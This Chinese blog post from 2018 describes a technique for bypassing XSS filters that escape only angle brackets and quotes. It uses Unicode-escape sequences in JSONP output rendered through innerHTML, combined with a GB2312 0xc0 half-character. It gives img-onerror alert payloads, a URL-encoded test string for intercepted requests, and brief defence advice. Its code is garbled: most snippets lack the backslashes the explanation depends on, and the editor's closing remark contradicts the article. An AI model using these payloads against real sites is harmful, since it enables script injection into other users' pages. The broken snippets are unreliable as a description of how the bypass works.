关注我们

绕过防xss代码新方法

adminadmin 渗透测试 2018-05-17 447 0

大家都知道,普遍的防御XSS攻击的方法是在后台对以下字符进行转义:<、>、’、”,但是经过本人的研究发现,在一些特殊场景下,即使对以上字符进行了转义,还是可以执行XSS攻击的。

首先看一个JS的例子:

<script>
var s = "u003cu003e";
alert(s);
</script>



看到这么熟悉的尖括号,大家会不会有一些兴奋的感觉呢?JS代码中并没有出现尖括号,可是运行时却输出了尖括号!!!这意味着:可以通过u003c和u003e来代替<和>。可是该如何利用这个特性来构造XSS攻击呢?继续看一个例子:

<div id='s'>
test
</div>
<script>
var s = "u003cimg src=1 onerror=alert(/xss/)u003e";
document.getElementById('s').innerHTML = s;
</script>



在没有尖括号的情况下,成功实现了一个弹框的案例。

现在来设想一个更贴近实际开发情况的例子:

(1)这里我们用网络安全攻防研究室网站首页进行演示:http://www.cracer.com,其代码为:

<div id="test">
aa
</div>
<script>
function callback(obj)
{
document.getElementById("test").innerHTML = obj.name;
}
</script>
<script src=" http://www.victim.com/getcontent"></script>


(2)http://www.victim.com/getcontent返回的内容格式如下:

callback({"name":"xx"});



其中name的值是用户的昵称。


这个例子简单模拟了异步拉取信息并进行显示的情况。


现在假设用户的昵称为:

u003cimg src=1 onerror=alert(/xss/)u003e



那么会是什么情况呢?

首先getcontent返回的昵称应该是这样的:

\u003cimg src=1 onerror=alert(/xss/)\u003e



因为后台输出JSON格式数据时,一般都会在前面添加转义符进行转义。

接着main.html的callback函数应该是等价于执行下面的语句:

document.getElementById("test").innerHTML =" \u003cimg src=1 onerror=alert(/xss/)\u003e";



显示的结果如下:


很遗憾,没有弹出框。原因是原来的转义序列u003c并没有生效,被添加的转义符转义掉了。


不过这里假设返回昵称时对进行了转义,但实际情况下,有时输出json格式数据时是没有对进行转义的,那样就会触发漏洞。


对于有对进行转义的,这时就轮到我们强大的半字符出场了。对于半字符的问题,这里并不打算详细讲,说下结论:

对于gb2312编码,” [0xc0] “是一个合法的编码,显示为:”繺”。

对于UTF-8编码,在IE6下,上述组合也是一个合法的编码。

其中[0xc0]表示一个十六进制的值。

现在修改昵称为:

[0xc0]u003cimg src=1 onerror=alert(/xss/) [0xc0]u003e
getcontent输出:
callback({"name":"[0xc0]\u003cimg src=1 onerror=alert(/xss/) [0xc0]\u003e"});
由于半字符[0xc0]的存在,在解释上述JS代码时,等价于:
callback({"name":"繺u003cimg src=1 onerror=alert(/xss/) 繺u003e"});


可见,转义序列u003c终于又回来了,显示结果如下:

上述昵称中并没有出现单双引号,尖括号,所以如果后台只是对单双引号和尖括号进行转义,那么是可以被绕过防御的。

总结:

(1) 利用场景:输出内容在JS代码里,并且被动态显示出来(如使用innerHTML)。

(2) 测试方法:截获请求包,修改参数为:

%c0u003cimg+src%3d1+onerror%3dalert(/xss/)+%c0u003e


(3) 防御方法:后台对半字符,反斜杠,单双引号,尖括号进行处理。

编辑点评:关于xss绕过的方式有很多,不少程序员以及小黑都认为过滤了<、>、’、”,就真的安全的,实际来说,只要针对这些字符进行一定的转义,就能成功绕过!


喜欢1评论已闭